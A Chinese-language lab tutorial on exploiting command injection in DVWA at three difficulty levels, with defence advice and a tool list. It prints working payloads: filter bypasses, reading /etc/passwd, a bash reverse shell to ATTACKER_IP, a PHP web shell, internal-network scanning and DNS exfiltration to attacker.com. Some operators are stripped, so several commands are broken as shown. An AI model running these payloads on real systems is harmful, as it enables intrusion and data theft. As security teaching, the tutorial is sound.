DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全解析

DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全解析
DVWA 1.10 命令注入实战从基础绕过到高级利用的完整指南1. 命令注入漏洞概述与靶场搭建命令注入Command Injection是Web安全领域中一种高危漏洞它允许攻击者通过构造特殊输入在服务器端执行任意系统命令。这种漏洞通常出现在应用程序将用户输入直接拼接到系统命令中执行的情况下比如网络设备管理界面、服务器监控工具等场景。DVWADamn Vulnerable Web Application是一个专为安全测试设计的漏洞演练平台内置了从低到高多种安全等级的漏洞环境。要搭建DVWA 1.10靶场可以按照以下步骤操作# 使用Docker快速部署DVWA docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa部署完成后访问http://localhost并使用默认凭证登录用户名admin密码password关键配置步骤点击左侧DVWA Security菜单将安全级别设置为Low点击Submit保存设置提示在实际测试环境中建议使用虚拟机或隔离的网络环境运行DVWA避免对真实系统造成影响。2. Low级别命令注入分析与利用在Low安全级别下DVWA对用户输入几乎没有任何过滤。命令注入模块的核心代码如下模拟?php $target $_REQUEST[ip]; $cmd shell_exec(ping -c 4 . $target); echo pre{$cmd}/pre; ?可以看到用户输入的ip参数直接被拼接到ping命令中执行。这种简单的拼接方式使得攻击者可以通过特殊字符注入额外命令。基础注入技巧在Linux/Unix系统中使用分号;分隔多个命令在Windows系统中使用或连接命令使用反引号或$()执行命令替换获取第一个Flag的Payload示例127.0.0.1; whoami系统将依次执行ping -c 4 127.0.0.1whoami返回结果中最后一个单词即为第一个Flag值。常用信息收集命令# 获取系统用户列表 ; cat /etc/passwd # 查看当前目录文件 ; ls -la # 检查网络配置 ; ifconfig # 查看环境变量 ; env3. Medium级别防护与绕过技术当安全级别提升到Medium时DVWA会尝试过滤一些危险字符。查看源代码可以发现?php $target $_REQUEST[ip]; $target str_replace(;, , $target); $cmd shell_exec(ping -c 4 . $target); echo pre{$cmd}/pre; ?这里使用str_replace过滤了分号;但防御措施非常初级存在多种绕过方式绕过方法对比表方法示例Payload适用场景原理说明换行符127.0.0.1%0awhoamiLinux/Unix系统%0a是URL编码的换行符管道符127.0.0.1whoami多数系统AND符127.0.0.1whoami多数系统前命令成功才执行后命令注释符127.0.0.1 #whoami需要shell支持#后的内容被忽略获取Medium级别Flag的关键步骤使用view_source查看过滤机制构造绕过过滤的Payload如127.0.0.1|cat /etc/passwd从报错信息或返回结果中提取Flag防御原理分析 Medium级别的过滤只处理了分号但命令注入可以通过多种方式实现。有效的防御应该使用白名单验证输入格式如只允许IP地址格式使用安全的API替代命令执行对特殊字符进行严格过滤或转义4. High级别的高级绕过技术High安全级别下DVWA采用了更严格的过滤机制?php $target $_REQUEST[ip]; $target stripslashes($target); $target explode( , $target); $target $target[0]; $cmd shell_exec(ping -c 4 . $target); echo pre{$cmd}/pre; ?这段代码通过explode和取第一个元素的方式试图只获取IP地址的第一部分。但依然存在绕过可能高级绕过技巧参数注入利用命令参数特性注入127.0.0.1 -c 1;whoami环境变量通过${IFS}替代空格127.0.0.1${IFS}cat${IFS}/etc/passwd编码混淆使用Base64编码命令# 先编码命令 echo whoami | base64 # 然后执行 127.0.0.1; echo d2hvYW1pCg | base64 -d | bash获取High级别Flag的步骤分析源代码中的过滤逻辑测试各种分隔符和绕过技术通过view_source获取过滤内容作为Flag构造最终Payload获取用户列表实战案例# 获取服务器内核版本 127.0.0.1|uname -a # 查找可写目录 127.0.0.1|find / -perm -ow -type d 2/dev/null # 尝试写入文件 127.0.0.1|echo test /var/www/html/test.txt5. 命令注入的防御措施针对命令注入漏洞应从多个层面构建防御体系开发层面的防御使用安全的API替代命令执行如PHP的filter_var验证IP地址实施严格的输入验证白名单优于黑名单对必要的命令执行进行严格的参数处理// 安全的IP地址验证示例 if (filter_var($ip, FILTER_VALIDATE_IP)) { $cmd ping -c 4 . escapeshellarg($ip); system($cmd); } else { die(Invalid IP address); }系统层面的加固最小权限原则运行Web服务的用户应限制权限命令白名单通过sudo限制可执行的命令范围日志监控记录所有敏感命令的执行情况防御技术对比表防御技术实施难度有效性对业务影响适用场景输入白名单中等高低参数格式固定的场景命令参数化高极高低必须使用命令执行的场景沙箱环境高高中等高风险操作隔离WAF规则低中等低临时防护措施6. CTF实战中的进阶技巧在CTF比赛中命令注入往往需要结合其他技术进行深度利用1. 反弹Shell获取交互式访问# 攻击机监听 nc -lvnp 4444 # 目标机执行URL编码后注入 ; bash -c bash -i /dev/tcp/ATTACKER_IP/4444 012. 文件上传与提权# 上传Web Shell ; echo ?php system($_GET[cmd]);? /var/www/html/shell.php # 查找SUID文件 ; find / -perm -4000 2/dev/null3. 内网探测与横向移动# 扫描内网主机 ; for i in {1..254}; do ping -c 1 192.168.1.$i; done # 检查开放端口 ; nc -zv TARGET_IP 1-10244. 数据过滤与提取# 查找包含flag的文件 ; grep -r flag{ / 2/dev/null # 编码敏感数据避免过滤 ; cat /etc/passwd | base647. 真实场景下的漏洞挖掘与利用在实际渗透测试中命令注入漏洞可能出现在以下场景常见易受攻击的功能点网络设备管理界面路由器、交换机服务器监控系统文件转换处理服务系统配置管理工具漏洞挖掘方法论功能分析识别所有接收用户输入并可能调用系统命令的功能输入测试尝试各种命令分隔符和特殊字符结果判断通过响应时间、错误信息等判断命令是否执行盲注技术当无回显时使用时间延迟或DNS外带技术盲注检测技巧# 时间延迟检测 ping -c 4 127.0.0.1 sleep 5 # DNS外带数据 ; nslookup $(whoami).attacker.com8. 自动化工具与资源推荐常用工具对比工具名称适用场景特点安装命令Commix自动化命令注入测试支持多种注入技术git clone https://github.com/commixproject/commix.gitSqlmap带外数据提取虽然主要用于SQL注入但支持命令执行pip install sqlmapBurp Suite手工测试辅助强大的拦截和重放功能下载社区版https://portswigger.net/burp学习资源推荐《Web Application Hackers Handbook》命令注入章节OWASP Command Injection备忘单PentesterLab的命令注入练习模块Hack The Box和TryHackMe上的相关挑战实战训练建议在DVWA上练习从Low到High各级别的绕过尝试在无回显情况下通过盲注获取信息结合其他漏洞如文件上传实现组合攻击参与CTF比赛中的Web安全挑战